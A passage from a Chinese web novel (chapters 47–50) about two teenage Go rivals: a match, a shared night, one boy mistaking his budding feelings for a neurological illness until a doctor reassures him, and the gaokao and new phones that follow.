那只手,清瘦,血管顺着骨骼轮廓浅浅的伏着,在灯光的映照下泛着一层极淡的光泽,透着水润的温凉。 纪辰新下意识抬眸,便撞进了苏陌干净又疏离的眉眼里。 他看见,他忽然弯了弯眉眼,眼尾的清冷感被笑意轻轻揉开。 下一秒,带有清透感的声音缓缓落在了耳膜上,温温的,带着微颤的酥麻。 他说,“我洗好了,轮到你了。”—— 作者有话说:就改了几个字而已,最后一段的段评怎么没了[害怕]又改回来,依旧于事无补[捂脸笑哭][裂开] 第47章 纪辰新触及着指尖温凉的皮肤, 下意识缩回了手,他摩梭着指腹,仿佛还能感受刚刚腕骨处的触感, 目光回避地落到了棋盘上。 “好,我等一会儿再去洗。” 他这样说着,眼睫微垂,长而密,在眼下投出一小片浅影。 苏陌将手里捡到的那颗棋子放回了棋盒里,随后立在纪辰新身旁, 注意力逐渐被棋盘吸引。 几秒后, 他的嘴角便扬了扬, 因为他发现,这么多年过去,纪辰新居然一直将他送的那副棋带在身边。 纪辰新微微蹙了下眉头, 他感受着苏陌的注视, 难得分神, 也不知道这人笑什么, 难道是对自己棋艺的嘲笑? 思及此, 他正要抬头说什么,就见苏陌倏然坐到了他对面。 “七年了, 不知道你的棋艺是否还如从前那般厉害。” 看这架势, 是要比一场的意思了? 纪辰新的心脏“咚、咚”地在胸腔里撞击, 他期待这一刻也很久了。 再也不是模拟对弈,而是真正的实战。 苏陌永远不会知道,自己在暗地里研究了他多久,长此以往地日日训练,就是为了打败他! 纪辰新深吸了口气, 将棋子重新归置。 这个过程,苏陌的情绪也不太平静,这么多年,他打过太多比赛了,但从来没有哪一刻能比现在紧张。 他们虽已长大,却对于围棋的追求,从未变过。 当纪辰新将最后一颗棋子归纳好,苏陌咽了咽喉咙,感到了一丝口渴,然而理智告诉他,这并不是真的渴,即便喝了水也无济于事。 苏陌郑重地闭了下眼,重新睁开时,对纪辰新做出个“请”的手势。 纪辰新微微挑眉,抓了几颗子,猜单双,最后的结果是他执黑先行。 “那么,我便不客气了。”少年浅浅笑了下,起手,往星位落下一子。 苏陌目光沉沉,紧随其后,他面对纪辰新的自信,心里越发谨慎。 纪辰新星小目开局,既稳又圈住了实地,苏陌执白以二连星回应,棋风开阔。 俩人你来我往,棋盘上的黑白棋子犹如两军对垒,落子的清脆声都隐含着较劲的意味。 当黑棋挂角时,白棋不按常理出牌,轻松地突破了对方的攻围之势,之后又暗自埋下伏笔圈套。 纪辰新嘴角轻勾,落子另一侧,稳稳扎下根基,不上白棋的当。 中盘厮杀渐起,黑子长驱直入,切断白棋的联络,下一秒却被白棋精准断点反打,转瞬之间,在边路扩张,黑棋以一个巧妙的点眼位破掉了白棋的阴谋,并迫使白棋回防。 俩人下棋犹如在走钢丝,你攻我守,棋势更是此消彼长,丝毫不让对方占到一丝便宜。 白棋刚筑起的围墙,活不过一息,便会被黑棋推翻。 棋盘上黑白交错,没有一方能彻底压制对方,每一寸地盘都在进行数个回合的拉锯,保持着微妙的平衡。 局势到了中后期,苏陌每落下一子,指尖的凉意便顺着棋盘蔓延开,而对面执黑的纪辰新始终稳如泰山,速度一如既往。 直到白棋按照预定的谋划小飞一手,黑棋兵行险着,轻巧一夹,看似松缓的一步,却像张密网,悄无声息的罩住了白棋所有想要扩张的势。 白棋猛然掏角,黑棋顺势而为,隐隐留有顶尖后招应对。 苏陌踌躇落子,拆二求稳,对面好像在逼他走厚,等他外势连片,黑棋又如算准了般,用一个无关紧要的棋子,又快又准的将他截胡。 终于,“啪。”黑棋在中腹落下关键一子,苏陌盯着棋盘的瞳孔骤然发僵,指腹沁出薄汗。 他已经很多年没有这种感觉了,就好像突然回到了从前,每次信誓旦旦地找纪辰新下棋,却反被杀的片甲不留。 他藏在棋盘里的心思,时隔多年,再次被那双眼睛看透。 那种挫败感,依然如故。 纪辰新还跟从前一样强,好在,这些年,他也在一点一点的变厉害。 曾经看不懂的棋路,现在总算摸到了脉络,俩人之间的差距,终于肉眼可见的缩小。 他输在了最后二十手,但在这之前,怎么不算是势均力敌呢。 苏陌如释重负地放下了棋子,他输了,既失落又高兴,是一种难以名状的复杂。 纪辰新也是憋着一口气,疯狂在心里跟系统吐槽,【啊啊啊啊啊,他跟别人对弈时绝对隐藏了实力!】 【我一直以为能有9分胜算的,现在实战完才发现,根本就只有7分嘛!】 【吓死老子了!差点一世英名毁于一旦!】 系统安慰他:【没事没事,但咱们蛰伏这么久,也没有白费呀,宿主你这次可是靠自己,真真正正的赢了男主欸!】 【你难道不高兴吗,管他9分,还是7分,反正他棋差一招,输了,咱们的目的就达到了!】 纪辰新缓缓吐出一口气,有种燃尽了的感觉。 而对面的苏陌,沉默不语,沉浸式复盘中。 纪辰新心累地从椅子上起身,他得去洗个澡放松一下。 二十分钟过去,等纪辰新回到房间时,苏陌依旧保持着之前的姿势,微微蹙着眉,视线像是被磁石吸在了棋盘上。 纪辰新陡然看到这一幕,心里头直打鼓,【我靠,这我怎么睡得着啊,我都怕他研究透了,明天就赶上我。】 系统:【额,倒也没这么快,宿主你别怕,你要相信你自己,你是遇强则强型的,天赋更是不比苏陌差。】 【何况,咱们才是研究他最久的人,他所有的战术,杀招,你都了然于胸,千万别自己吓自己呀。】 系统从前只知道鞭策他,现在倒是转性了,时不时鼓励他,纪辰新几乎猜到它怕是又看了些什么乱七八糟的东西,于是道,【说吧,你最近又在搞什么鬼?】 系统:【啊?没有啊,我哪有搞鬼,哼~】 纪辰新:【】 * 苏陌的额发垂在眼前,他捏着棋子,暗自盘算,神色专注,周围几乎所有悉悉索索的声音都被他排除在外。 他的睫毛在眼下投出小扇形,随着目光移动,扫过棋盘上的每一处棋子。 终于,他想通了这步棋,眼睛蓦的一亮,捏在手里的棋子,落了下去,“纪辰新,我解开了!” 他倏然抬眸,却见纪辰新靠在床边吹头发,他一手拿着吹风机,一手随意地拨着湿发,暖风吹地发丝簌簌颤动。 水珠凝在发梢,缓缓滑落,有的进了领口,有的顺着下颌线到了脖颈,锁骨窝处轻轻收了收,喉结微动,颈侧筋络的浅淡痕迹清晰可见。 纪辰新微微偏着头,用手背擦掉了脖颈处的水珠,然后手在头发里翻搅几下,发根在吹风机的嗡鸣声里渐渐干透,额前的碎发也被吹的翘了起来。 直到全部的头发变得蓬松干燥,纪辰新才拔掉了吹风机的插头。 他猝不及防地抬眼,便见苏陌正一错不错地盯着他。 “怎么了?” 纪辰新揉了揉额前的发,眼底带着点刚洗完澡的水汽,问道。 苏陌不自然地移开了视线,但脑中却不受控制地回放,那一节光洁白皙到晃眼的脖颈,就像放电影一样,一幕接着一幕,根本停不下来。 他不合时宜地想,怎么会有人棋艺上碾压他的同时,就连长相也这么目若朗星,令他无法自控的想要多看两眼? 纪辰新其实并不是那种张扬的长相,反而很舒服,恰到好处的模样,时而干净清亮的眼神,笑起来嘴角会有浅浅的弧度,整个人如同素宣上的淡墨,眉目疏朗,温润又好看。 在苏陌走神之际,纪辰新重新走到了棋盘前,略一思索,便夹起了一枚黑子,落了下去。 “好了,你继续解吧。” 苏陌闻声,恍然低头,随即轻叹一口气,他的招,轻而易举地又被拆了 纪辰新看了眼墙上的表,“不早了,我先睡了哈,你别熬太晚!” 话落,他便打了个哈欠,是真的困了。 苏陌捏着棋子回看了他一眼,就见纪辰新安然地躺在了床上,他穿的裤子是一条只到大腿的短裤,裤边松松垮垮地落在膝盖上方,露出的双腿又直又长,肤色是透着光的白净。 他侧躺着,一条腿微微屈着,另一条腿自然伸直,臀部轮廓在光线下略略清晰,裤料贴着,勾勒出圆润的线条。 苏陌捏着棋子的指尖不自觉扣紧,连耳尖都烫的厉害,他顿时如坐针毡,他没有与人独处一室,同睡一床的经验。 甚至,他在面对其他男性时,都很正常,脑子里不会有这么多杂念。 他也不知道自己今天怎么了,仿佛一切都变得不对劲起来。 他想,纪辰新对于他,终究是与众不同的吧,不管是哪个方面而言。 纠结了一番后,他挣扎着放下棋子,爬上了床去。 纪辰新睡在了里侧,苏陌便躺在了外侧。 当灯一熄灭,周遭的空气好像都被调慢了流速,呼吸也变的轻缓起来。 纪辰新保持着侧躺,脸面向墙壁,但他的后背距离苏陌不过一尺。 苏陌动了动,像是在调整睡姿,布料的摩擦声发出轻响,当他的手臂不小心碰到纪辰新后背的瞬间,他猛然摒住了呼吸,动作也停了下来。 纪辰新没说话,只是转了个身,然后轻轻拍了拍他的手臂,“放松点,别这么拘谨。” 月光从窗帘缝溜进来,在纪辰新的眼睫上撒了层光辉,苏陌与他四目相对,瞳孔幽深如潭,仿佛能将人吸进去。 俩人靠的有些近,已经突破了安全距离,纪辰新再次闻到了他身上的薄荷味,没来由地伸手捂住了他的眼睛,“闭眼,睡觉!” 手心里的小蒲扇,轻轻扇了几下,又重又急的心跳声在耳边咚咚作响。 纪辰新只感觉自己的手心都在发烫,“苏陌,你的心跳好快啊。” 手下人并未张口,只抿唇发出了一个单音节词,“嗯。” 他的声音哑的就像被揉过,却怎么也揉不开敏感又僵硬的四肢,以及渐渐变得紊乱的呼吸—— 作者有话说:啦啦啦啦~[猫头]有没有营养液呀~宝宝们[抱抱] 预收《我靠算命火爆全球》求收藏~ 【本文文案】: 喻嘉,一个普通人,失业后马不停蹄加入了啃老大军。 然而还没开始啃,就被父母告知,他家世代修仙,而今功德圆满即将飞升。 当晚他们就飞走了… 一向淡定的喻嘉,真的破防了:“喂!你们走了,家里房贷谁还啊!” 普通人喻嘉发现自己好像并不普通。 与此同时,万象直播平台出现了一个算命直播间,起初,并未引起人注意。 有人抱着试试的心态点了进去。 “大师,我女儿高考复读两次了,这次到底能不能顺利上岸?” “高考先放一边,你女儿已经偷摸领证,肚子里孩子都三月了。” “大师,我老公每天早出晚归,一问就是公司加班,能信吗?” “赶紧离,他早出轨了,刚还查出了艾滋病。” “大师,我儿子被拐十五年了,还能找到吗?” “八十里外清河村,姓李的人家,你去看看。” 喻嘉的直播间爆火了,每晚数以千万的人在他直播间蹲守,而他也从岌岌无名,变为了受世人追捧的神算子! 久而久之,喻嘉不堪其扰,当即立下规定:一天一卦,一卦三万! 结果,找喻嘉的人不降反增。 世界首富、各国大佬、商界精英、新晋顶流、神秘官方… 他们捧着钱,一箱一箱的送过来,求着他收! 第48章 翌日, 纪辰新一觉睡到了自然醒。 他一向生物钟准时,今天也不例外。 只是当他神采奕奕睁开眼时,却发现苏陌不知从什么时候已经起床了。 他背对着纪辰新, 正神情专注地盯着昨晚的棋局。 不意外的,纪辰新的危机感再度直线上升,这丫的也太努力了吧! 苏陌听到背后细簌的声音,主动回头对着纪辰新说了句,“早安。” 当纪辰新看到他的面容时,都惊呆了, “额, 你这” 苏陌眼底挂着两团青黑, 在晨曦阳光的照射下,眼底的红血丝更是藏不住,他打了个哈欠, 满脸都是掩饰不住的疲惫, 连带着声音都裹着一层没睡醒的沙哑。 纪辰新发出不可置信的质问, “你这是一晚上没睡?” 他猜测着, “你该不会是研究了一晚上的棋局吧?” 苏陌坐在椅子上, 指尖无意识的摩挲着棋子,眼皮重的像是挂了铅, 他不知道该如何说。 难道要说他昨晚, 一整夜翻来覆去, 就连枕头都换了三个方向,但闭上眼全是乱七八糟的杂念吗? 还是说他数羊数到了一万只时,人还是清醒的状态吗? 这些他根本说不出口,也不可能让纪辰新知道。 然而,他这三缄其口的模样, 落在纪辰新眼中,无异于隐瞒与伪装! 明明就是在偷偷摸摸研究棋局,别以为他不知道! 还想悄悄努力,然后惊艳所有人,简直不要太狗了! 还好被他及时发现了,纪辰新眯了眯眼,一副看透了他的模样,“不用说了,我都懂。” 苏陌愣了下,不知道他懂什么了。 纪辰新摸了摸自己额前乱糟糟的碎发,嘴角一勾,【系统,看来咱们的训练也要加量了!】 系统一头雾水,虽然不知道宿主为什么突然这么斗志昂扬,但却很欣慰他对任务的积极。 【好的,宿主,我这就去重新制定训练计划!】 纪辰新今天还是要上学的,他快速洗漱完后,厨房里,奶奶已经做好了鸡汤面。 “小新,快叫小陌出来吃早餐。” 纪辰新撇撇嘴,冷哼了一声,下一秒筷子便敲到了他头上。 老太太叉着腰,“哼唧唧干嘛呢,小陌是客人,还不快去。” “纪奶奶,你们先吃吧,不用等我。”苏陌突然推开房门,走了出来。 纪辰新挑了下眉,随后端起了自己那碗面,享受地闻了闻,迅速大快朵颐起来。 “小陌,这是今天一早,我去集市给你新买的牙刷和漱口杯。”李春兰指了指桌上的洗漱套装,笑着道,“快去刷牙吧,刷完好吃面,不然面会驼。” 苏陌拿过洗漱用品,礼貌的点了点头,“好的,谢谢纪奶奶。” 等他洗漱完出来,纪辰新已经连汤带面,吃了个干干净净。 李春兰倒是还在吃,看见苏陌出来,关怀问道,“小陌,怎么感觉你今天没什么精神?” 纪辰新端着空碗,又暗自哼了一声,有精神就有鬼了。 苏陌顿了下,抿唇道,“还好,可能有点认床吧。” 纪辰新切了一声,然后将碗送到了厨房。 “奶奶,时间不早了,我准备去学校了。” 李春兰连忙叮嘱,“好,锅里蒸了玉米,你带两个去,饿了吃。” 说着,她又看向苏陌,“小陌,你吃玉米吗,自家种的,刚长出来的第一批,很甜很嫩的。” 苏陌摇了摇头,“不用,我吃面就好了,不然等下会吃不完。” 纪辰新从锅里拿了根玉米出来,“我带一个就够了,先走了哈。” 倏然间,“纪辰新!”苏陌放下筷子,急忙叫住了他。 “我准备今天就回帝都去。” “啊?”纪辰新顿时停下了脚步,讶异侧目:“今天就回去?” 李春兰挽留道:“你昨天才来,怎么今天就走?多住几天呗。” 苏陌点了点头,这是他今天思考了一早上做出来的决定。 他怀疑自己精神出了问题,不然无法解释昨晚出现的那些杂念。 他不明白自己怎么会能对一个男生,心跳加速,浮想联翩 甚至,这个人还是自己特别看重的朋友 若是被纪辰新知道会怎么想他? 总之,他是不敢再住下去了。 其实,今早做决定前,他是有拿手机搜索相关百度词条的,结果越搜越心惊,直接从“性取向异常”搜到了“神经紊乱”,词条上还说,若是不及时干预,有发展成为神经病的可能。 他想,他必须得回去看下医生了。 等把病治好了,再来找纪辰新。 “嗯,回去处理点事。”苏陌掩下内心的焦急,不愿让纪辰新发现他回去的真实意图,“而且马上要高考了” 纪辰新眼睛一亮,瞬间开解道:“高考好呀,苏陌你一定要好好考,你要记住,咱们的人生不只有围棋。” “除了围棋,我们还有很多种可能,千万不能一棵树上吊死!” 苏陌眉骨微挑,“你说什么呢,什么一棵树上吊死?” “额反正这是对你劝谏,你一定要听进去。”纪辰新无比认真道。 苏陌默然点头,随后从兜里掏出个手机来,郑重地放在了纪辰新手里,“保持联系。” “这?”纪辰新看着手里的最新款手机,“这我不能收。” “本来,七年前就要给你的,但”苏陌回忆着,眸光温柔,“不过,现在也不迟,这个更好,这个可以视频。” 纪辰新隐隐约约猜出了点什么,还是拒绝道,“我高考结束,会去买手机的,你不用给我” 他这倒说的是实话,之前家里没什么余钱,所以一直没买手机,但前阵子,他刚拿了五万块奖金,之后随便买个便宜点的手机绝对是没问题的。 纪辰新说什么也不愿意要,这手机一看就是苏陌平时在用的,他若拿了,苏陌用什么? 虽然,他知道他一定会继续去买新的,但是这手机里绝对有苏陌的各种信息。 包括但不限于家人,朋友之间的联系,即便是再好的关系,也不能去窥探别人的隐私吧。 苏陌见他不愿收,最后只能撕张纸,将自己的电话号码写了下来,“那等你买好手机,第一时间一定要打给我!” 他想了想,又道,“高考结束的第一天,你若是没打过来,我就会再来找你。” 他神情专注,很是笃定。 纪辰新无奈笑了,“知道啦,放心吧,高考结束的第一天,我就去买。” “一言为定!” * 苏陌走后,纪辰新的生活恢复了平静,他每天三点一线,家里,学校,网吧。 是的,即便临近高考,他也没停止去上网。 用他的话来说,学习压力太大,唯有游戏能解。 在这期间,他还在游戏里认识了一个跟他网瘾不相上下的人。 此人几乎天天在线,从不停歇。 关键是,游戏打的很不错,于是,纪辰新便经常和他一起开黑,成为了素未谋面的游戏好友 苏陌回帝都后,第一时间便联系了医院,挂了个权威专家,神经科医生的号。 其实他家里是有私人医生的,但术业有专攻,私人医生擅长的是常见疾病的诊疗、健康评估以及慢性疾病的管理。 苏陌自认为自己的病罕见,说不定还是疑难杂症,便没有找家里的私人医生。 挂号排了三天,终于轮到他时,他是戴了个口罩进入诊室的。 戴着黑框眼镜的医生,约莫四十多岁,长相儒雅,眼神锐利。 郑医生见到患者第一眼,便示意他坐下。 苏陌用力攥着挂号单,一言不发的坐在了医生对面,膝盖处都被手汗浸出了两个浅印,一举一动都在彰显内心的忐忑。 郑医生阅人无数,推了推眼镜,安抚道:“别紧张,说说吧,哪里不舒服?” 苏陌咽了咽喉咙,双手在膝盖上反复摩梭,坐的笔直,最后他指了指自己的脑子,“医生,我好像这里有问题。” 说完,他顿了顿,观察着医生的表情,见对方神情没有变化,便安下了心,轻声道:“我在百度上查了,我是神经出问题了,说是要做一下CT,你给我开个单子吧。” 郑医生听完,没立刻说话,先是给他倒了杯温水,他板着脸,保持着自己的专业性。 “这个不急,你先说一下你的症状,我才好判断。” 苏陌紧紧握住杯子,抿了抿唇,蹙眉道,“就” 他似乎难以启齿,做了好一番挣扎,才心一横豁出去了,“就是我总控制不住盯着朋友看,甚至想靠近他” “但是靠的太近,又全身冒汗,心跳加速” “脑子里面,全是他的影子” “” 苏陌一项一项列举着自己症状,真觉得自己病的不轻。 医生古怪地看着他,神色里全是笑意,等苏陌描述完,他差点笑出了声,“小伙子,你这是情窦初开,要恋爱了!” “这多正常啊,你挂什么号,不是胡闹吗?” “啊?”苏陌脑袋空白,一整个愣住,“正常?” 他不死心道:“可是,我朋友不是女生,是男生!” 这下,轮到医生癫狂了,只见他镜框下的眼睛陡然瞪大,“男生?” 看着医生震惊的反应,苏陌手里的杯子差点没拿稳,有些认命道:“我是不是真的有病?” 医生沉默了好一会儿,或许是在头脑风暴,但最终他还是摇了摇头。 “你没病。” “性取向不分男女,就像有人爱吃甜的,有人爱吃咸的一样,这是无法统一的。” 苏陌还在疑惑,“但我对其他同性从来没有这种感觉,只对他有。” 医生笑着道,“这说明你欣赏他,跟神经没关系,是青春期正常的心动。” “所以,你的意思是我心动他?”苏陌感觉自己十多年来的认知都被刷新了,豁然开朗。 他走出医院时,整个人都轻飘飘的,跟踩在棉花上似的,手止不住的抖,脸也红透了。 他还记得,医生最后一句话是这么说的,“你若不信,就多去观察观察,感受感受,你的心总不会骗你的,这比你自己瞎琢磨“神经病”强多了!” 苏陌:“” 该说不说,好有道理的感觉 神医啊!—— 作者有话说:苏陌:专家号,果然权威![鼓掌][鼓掌][鼓掌] 预收《我靠算命火爆全球》求收藏~ 【本文文案】: 喻嘉,一个普通人,失业后马不停蹄加入了啃老大军。 然而还没开始啃,就被父母告知,他家世代修仙,而今功德圆满即将飞升。 当晚他们就飞走了… 一向淡定的喻嘉,真的破防了:“喂!你们走了,家里房贷谁还啊!” 普通人喻嘉发现自己好像并不普通。 与此同时,万象直播平台出现了一个算命直播间,起初,并未引起人注意。 有人抱着试试的心态点了进去。 “大师,我女儿高考复读两次了,这次到底能不能顺利上岸?” “高考先放一边,你女儿已经偷摸领证,肚子里孩子都三月了。” “大师,我老公每天早出晚归,一问就是公司加班,能信吗?” “赶紧离,他早出轨了,刚还查出了艾滋病。” “大师,我儿子被拐十五年了,还能找到吗?” “八十里外清河村,姓李的人家,你去看看。” 喻嘉的直播间爆火了,每晚数以千万的人在他直播间蹲守,而他也从岌岌无名,变为了受世人追捧的神算子! 久而久之,喻嘉不堪其扰,当即立下规定:一天一卦,一卦三万! 结果,找喻嘉的人不降反增。 世界首富、各国大佬、商界精英、新晋顶流、神秘官方… 他们捧着钱,一箱一箱的送过来,求着他收! 第49章 高考倒计时的红字被红笔圈住, 时间一天天减少,窗外渐密的雨丝,将空气中的紧张缠的越来越紧。 高考当天的雨下的很轻, 像是蒙在眼镜片上的一片薄雾,也像是打湿校服袖口的微凉。 纪辰新撑着伞走进校门,伞沿下的目光盯着教学楼,脚步将积水踩出阵阵涟漪。 校外的警戒线旁,家长们的伞全部挤在了一起,雨丝落在他们肩头, 却无人在意。 进考场前, 纪辰新把伞靠在了墙角, 甩了甩头发上晶莹的水珠,随后检查了一下准考证,才迈了进去。 考场的日光灯照的很亮, 窗外的雨成了模糊的背景, 笔尖划过试卷发出沙沙的响声, 与偶尔传来的雨声, 在笔尖答案的伴随下, 成了相辅相成的节拍。 当最后一门外语结束时,这场六月初雨, 是高考考场外的淅沥陪伴。 有人动作轻快的收了笔, 有人却对着答题卡检查好久。 纪辰新走出考场时, 雨已经停了,风中带着夏末的凉。 离校路上,那些曾被反复翻看的书本以及写满运算的草稿纸,漫天飞舞,都成了他身后的风景。 同学间笑着说“再见”, 心中却是说不出的怅然,好似在与青春告别。 校门口,李春兰拎着伞,时不时探头往里看。 纪辰新看到奶奶的那瞬,嘴角一弯,正准备过去,却又猛地被人叫住。 “纪辰新!” 一声呼唤,急切又慌张。 “你等等一下!” 张如微从教学楼一路跑过来,似乎找了他很久,汗水在她额角蜿蜒而下,脸颊红彤彤的,指尖都跟着绷紧了。 纪辰新漠然地看着她,但嘴角还是带着刚考完试的轻松笑意,“有什么事吗?” 张如微攥着口袋里那封情书,把校服衣角都揉出了褶皱,“那个我” 声音一出口就发颤,她在心里练了百遍的话瞬间堵在喉咙口,手碰了碰信封边缘,又胆怯的缩了回去。 在纪辰新疏离冷淡的语气中,她终究泄了气。 只见她缓缓从书包拿出一本同学录,语气自然,“能帮我写个同学录吗,就差你了。” 纪辰新微微点头,接过笔,雨后天晴的阳光落在他的发梢,透着淡淡的光泽,张如微不敢明目张胆的多看,时不时盯着自己攥紧的衣角。 当同学录递回来时,她也只敢匆匆说了句“谢谢”,而那封没送出去的情书,正在口袋里带着她无法说出口的心事,紧紧贴着发烫的掌心。 张如微走出好远,才敢回头看上一眼。 视线里,那个熟悉的身影正与奶奶有说有笑,并肩上了公交。 她翻开了独属于纪辰新的那页同学录,上面少年的字迹张扬又洒脱,“毕业快乐!愿你在新的旅程里,闪闪发光,万事顺遂!” 明明只是并不熟稔的祝福,但她却湿了眼眶,字里行间,她仿佛又看到了少年在球场所迸发出的那股自信鲜活劲,干净又亮眼! * 公交车上,纪辰新与李春兰并没有选择直接回家,而是一起去了集市。 他没忘记答应苏陌的事,等高考结束的第一时间,他便去买手机。 祖孙俩,下了车后,一连去了好几个手机店,对比价格。 最终在一个小时后,选了款性价比高,还耐摔的手机,最重要的是,这款手机,第二个半价! 李春兰握着手中的电子产品,第一次流露出了迷茫的表情,“乖孙,我不要,我又不会用,你给自己买就行。” 纪辰新笑了笑,强硬的很,“必须要,这我以后要是去上大学了,不能每天回来,你想我了怎么办?” “或是出什么事,你说你担不担心?” “呸呸呸,能出什么事,别瞎说。”老太太听不得这些。 但孙儿说的确实在理,现在他们的生活没那么拮据了,就算是为了以后着想,该买的也还是得买。 “那你要教我用。” “放心,包在我身上。” 营业员给俩人一人办了个手机卡,还非常贴心地给老太太讲解了一番,“这个是你孙儿的号,按一下就拨过来了。” “您试试!” “” 等买完手机回到家时,已经快六点半了。 纪辰新没让奶奶做饭,自作主张地在集市上打包了两个菜,回来吃。 老太太也纵然了他,只不过在吃的过程中,时不时会唠叨两句,“这两菜的成本顶多六块钱,居然卖我们三十,下次不要去买了,咱们自己做更划得来。” 纪辰新无奈极了,“嗯嗯,知道啦,奶奶,我们就偶尔吃一次而已。” 他一边回应着,一边摆弄着手机,觉得新奇的很,虽然他前世也有过手机,但距今实在是太久了,久到都要忘的差不多了。 现在重新拥有,这股新鲜劲一时半会儿没那么轻易过去。 饭后,纪辰新回了房间,找出了当初苏陌给他留下的那串号码,存在了手机上,随后拨了过去。 铃声在响了将近十声时,对面才接通。 “喂?”苏陌的嗓音在电话里清晰响起。 纪辰新得意的笑了笑,“猜猜我是谁~” 话落的瞬间,对面诡异的陷入了阵阵沉默,然后在五秒后,电话被挂断了。 纪辰新都懵了,什么鬼? 与此同时,亲自将电话挂断的苏陌,此刻正死死按着自己的胸口。 他的心又不受控制了,他大口喘着气,来回踱步,焦虑到感觉要窒息了。 自从上次,他在医院得知自己对纪辰新产生了青春期的萌动后,苏陌便陷入了紧张与不敢面对的心理状态之中。 他既期待又害怕,他不确定,这种变化会不会破坏他与纪辰新之间的关系。 他对纪辰新是珍视的,一方面想要与他见面,另一方面又担忧自己的心意被察觉,亦或是自己主动挑明,会打破两个人之间的平衡,甚至失去纪辰新这个朋友。 他几乎能预想到,他的这种担忧,会让他面对纪辰新时变的小心翼翼。 他根本无法疏解,也确实还没准备好。 所以,即便知道自己刚刚挂掉电话的行为很失礼,他也还是这么做了。 纪辰新才是真的懵,他盯着那串数字好一会儿,一边猜想着是不是拨错号了,一边又猜想是不是苏陌写错数字了。 真是见鬼了! 他短暂的吐槽后,正打算再拨一次,确认时,却收到了这个号码发过来的短信。 【纪辰新,我是苏陌。不好意思,我刚刚有事在忙,还有,我最近嗓子哑了,说不了话,所以没办法接电话,不过没关系,我们可以直接短信联系。】 【你买新手机了?这是你的电话号码吗?】 苏陌发完信息,忐忑地盯着屏幕,但总算是比刚刚打电话时放松了一些,心跳也稳了下来,没那么紧张了。 纪辰新顿了顿,关心道,【对,这是我的号码,你嗓子没事吧?严重吗?】 苏陌秒回:【还好,多谢关心!】 纪辰新想了想,又给他发了个8位数的账号过去,【短信费钱,以后咱们企鹅联系,你加我!】 企鹅? 苏陌平时一心扑在围棋上,跟人联系基本都只用最简单的方式,属于一个电话号码走天下那种,他不是没听过企鹅这个软件,却也一直没注册过,主要是觉得麻烦且没必要。 不过,既然纪辰新提到了 【好,你稍等一会儿,我要先注册一下。】 纪辰新看到消息,就没理了,反正他已经遵守了承诺,主动联系他了。 此时,企鹅里恰好传来,“嘀嘀”的消息提示音。 他那游戏好友上线,并邀请他开黑了,纪辰新二话不说,就去了网吧。 临走前,他还不忘带上那副破棋,毕竟又一个三天到了,游戏和下棋一同进行,两不耽误。 路上,纪辰新猛地想起什么: 【对了,系统,我现在是不是可以申请成为职业初段了?】 系统查询了一番后,道,【是的,宿主,你上次夺冠的成绩已经在官网披露了,明天就可以申请了。】 【结果会在两天内出来,之后你就可以去参加世界赛的选拔了。】 纪辰新点了点头,表示自己心里有数了。 从一开始,他选的就是一条与男主截然相反的成长路线。 七年前,他与系统达成一致时,就确定了,他不参加定段赛,也不走职业道路。 其实当时,系统最主要是怕他因为奶奶的原因,放弃任务,所以就都依着他了。 而纪辰新不想参加定段赛的原因也很简单直接。 因为,一旦定段成功,那他之后的每一年都要辗转各地,不停的打保段赛和升段赛,几乎所有的行程都会被公开。 这严重违反了他和奶奶不想暴露的初衷,而且奶奶动完手术的那两年,身体都处于恢复期,需要照顾,他根本也无法离开。 最后,他是一个良心未泯的人,那个时候的他实力太逊了,定段注定失败。 若是让系统帮忙,对其他选手又是极不公平的,他们为了成为职业选手,日日夜夜废寝忘食,而他轻易利用系统获得一切,又怎会安心? 所以,后来,苏陌问他为什么不参加定段赛时,他回答不想,确实是他的真实想法,因为他不愿这样做。 其实退一万步讲,他如果当时真的去参加定段赛,还成功了,以他当时的实力也是远远落后于苏陌的,都别提完成任务了,甚至都造不成一丝一毫的影响。 或许还会得到一句,少年英才,泯然众人的称号吧! 而系统一直以来,想要他树立的是一个,无法被打败,男主成功路上的障碍,甚至能压制住男主的角色。 基于种种原因之下,他不得不走这样的一条路。 好在,这七年没白费,他一直坚定且努力地训练着,并成为了与苏陌分庭抗礼的存在,只要等男主安稳度过18岁,他就能功成身退,去过自己无拘无束的生活了。 到时候,他要带着奶奶四处游玩,看尽繁华,免的这老太太被困在方隅之地,总羡慕别人开阔的眼界。 想到这些,纪辰新便有了动力,内心也更加的坚定了!—— 作者有话说:无良作者:理想很丰满,现实很骨感,想功成身退?不好意思,功可以成,但身嘛…[坏笑]嘿嘿~不可能退[哦哦哦] 第50章 苏陌坐在棋盘前, 指尖悬在手机屏幕上方,目光紧紧锁着企鹅注册界面。 他眉头微蹙,连额前垂落的碎发都忘了拨, 一步一步按着屏幕上的提示,输入着。 到了设置密码的环节,他抿着唇,神色认真,快速比对两次输入的字符,即便管家在外敲门, 他也没分出去半分注意力, 仿佛此刻要完成的是格外重要的事情。 等一切弄好, 他才醒神般,侧目看向房门,“什么事?” 孟管家在外恭敬道, “是赵同学过来了, 楼下客厅等着呢。” 赵言权? 苏陌思索了两秒, 便起身开了门出去。 客厅里, 赵言权正坐在沙发上, 喝着保姆泡的茶,瞅见苏陌下来, 立即放下了茶杯, 将手机怼了过去。 “苏陌, 你看这是谁!” 赵言权将手机上的照片放大了一倍,画面正是纪辰新之前全国赛夺冠时,获奖感言那幕。 他神色激动,“我跟你讲,我刚在隔壁市打完比赛, 我爸就告诉我,说纪辰新找到了!” “你快看,这小子虽然没小时候可爱了,但帅气值直线上升啊!” 说完,他打量着苏陌的反应,见他神色如常,不由疑惑: “欸?你怎么这么淡定?” “你之前不是每去一个城市打比赛,都会在那呆上一段时间找他吗,怎么现在看到他照片,都没点反应的?” 赵言权狐疑地盯着他,“你怎么回事啊?” 苏陌指尖漫不经心地划着自己的手机屏幕,随后慢悠悠将与纪辰新的短信聊天界面打开,他没抬头,但超绝不经意地淡淡“哦”了一声,指腹点了点屏幕的边缘,“我们早就联系上了,忘了说。” 赵言权猛然瞪大了眼睛,凑了过来,“啊?真的假的,我看看!” 苏陌唇角一勾又微微压下,随手按灭了屏幕,声音没什么起伏道,“当然是真的,高考前我还去找他了,纪奶奶做饭还是一如既往的好吃。” “靠,你还是人吗,你居然藏着掖着,瞒着我?”赵言权是真羡慕了,“你快把他联系方式给我!” 苏陌:“不给!” 他话里虽然没有炫耀的意思,但赵言权就是该死的品到了,气的直抖。 “切,就算你不给,我也能让我爸拿到他现在的住址,我爸跟那个主办方还是有点交情的,说不定他已经背着我拿到了,只是还没告诉我。” 赵言权轻嗤了一声,当场就要给赵信打电话。 